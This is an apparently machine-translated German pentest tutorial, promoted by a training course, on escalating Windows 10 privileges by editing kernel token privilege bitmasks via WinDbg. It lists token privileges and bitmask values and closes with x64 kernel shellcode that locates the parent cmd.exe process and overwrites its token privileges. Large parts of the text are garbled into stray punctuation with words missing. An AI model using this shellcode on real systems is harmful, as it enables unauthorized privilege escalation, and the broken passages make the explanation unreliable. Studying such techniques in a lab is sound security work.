Der OTUS-Experte Alexander Kolesnikov teilte uns einen nützlichen Artikel mit, den er speziell für Studenten des Pentest schrieb. Penetrationstestpraxis .
Wir laden wiederum alle ein, an einer kostenlosen Demo-Lektion zum Thema "Windows AD-Informationssammlung, Eskalation von Berechtigungen. Exploits und Schwachstellen der letzten 5 Jahre" teilzunehmen .
Im vorherigen Artikel wurde erläutert, wie Exploits die Token-Kopiertechnik verwenden, um Berechtigungen zu eskalieren. In diesem Artikel werden wir versuchen, eine andere Technik zum Ändern von Token in Betracht zu ziehen und herauszufinden, wie die im primären Token platzierten Berechtigungen festgelegt werden.
Alle Beispiele in diesem Artikel dienen nur zu Informationszwecken. Wenn Sie die Experimente wiederholen möchten, verwenden Sie eine virtuelle Maschine, da einige der Aktionen Ihre Arbeitsmaschine beschädigen können. Alle Experimente werden nur zu Forschungszwecken durchgeführt.
Prüfstandsaufbau
Für Experimente eignen sich einige virtuelle Maschinen, die über ein NAT-Netzwerk arbeiten. Zwei, weil es keine andere Möglichkeit gibt, das Betriebssystem zu debuggen. Und NAT-Netzwerk, so dass es Debug-Symbole gibt, ist es einfacher und schneller, nach Daten ohne Quellcode mit ihnen zu suchen. Die Debugger-Einstellung ist im Internet verfügbar, aber unten werden noch einige Zeilen angezeigt, wie dies für das Betriebssystem Windows 10 1909 der Fall ist.
1. Installieren Sie den Debugger. Für das Windows-Betriebssystem gibt es nur Windbg Preview. Installieren Sie es:
2. Wir übertragen das Zielbetriebssystem in den Debug-Modus:
Wir starten das System neu. Öffnen Sie den zweiten Computer, der den Debugger enthält:
Nach dem Neustart des Systems:
Windbg Preview , . . .
Token
, , , Primary Token. , Se* . , , :
SeAssignPrimaryToken
SeAudit
SeBackup
SeChangeNotify
SeCreateToken
SeDebug
SeLoadDriver
SeLockMemory
SeManageVolume
SeRestore
SeSecurity
SeTakeOwnership
, , . , “Security Descriptor”:
System. — dx @$cursession.Processes[4].KernelObject.Token
EXFAST_REF , , :
System:
, “Security Descriptor” , . :
, , :
- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :
BSOD? , . , :
1. , :
2. cmd.exe
:
3. . :
, . - , - Integrity Levels , .
? . , : 0x1
BSOD , , . , , . , - — 0x100000
.
:
SeDebugPrivilege - 0x100000
SeAuditPrivilege - 0x200000
SeSystemEnvironmentPrivilege - 0x400000
SeCreatePermanentPrivilege - 0x010000
SeSystemtimePrivilege - 0x001000
SeSecurityPrivilege - 0x000100
SeLockMemoryPrivilege - 0x000010
, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.
— System , , .
netstat -ab
, . ? . , Windows , System , :
, , payload :
[BITS 64]
start:
mov r9, [gs:0x188] ;KPROCESS/currentThread
mov r9, [r9+0x220] ;EPROCESS KTHREAD
mov r8, [r9+0x3e8] ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9
loop1:
mov rax, [rax + 0x2f0]
sub rax, 0x2f0 ;KPROCESS
cmp [rax + 0x2e8],r8 ; ProcessId
jne loop1
mov rcx, rax ; PID EPROCESS
add rcx, 0x360
mov rax, [rcx]
and rax, 0xFFFFFFFFFFFFFFF0
mov r8, 0x1e73deff20 ;System
mov [rax+0x48],r8 ;
ret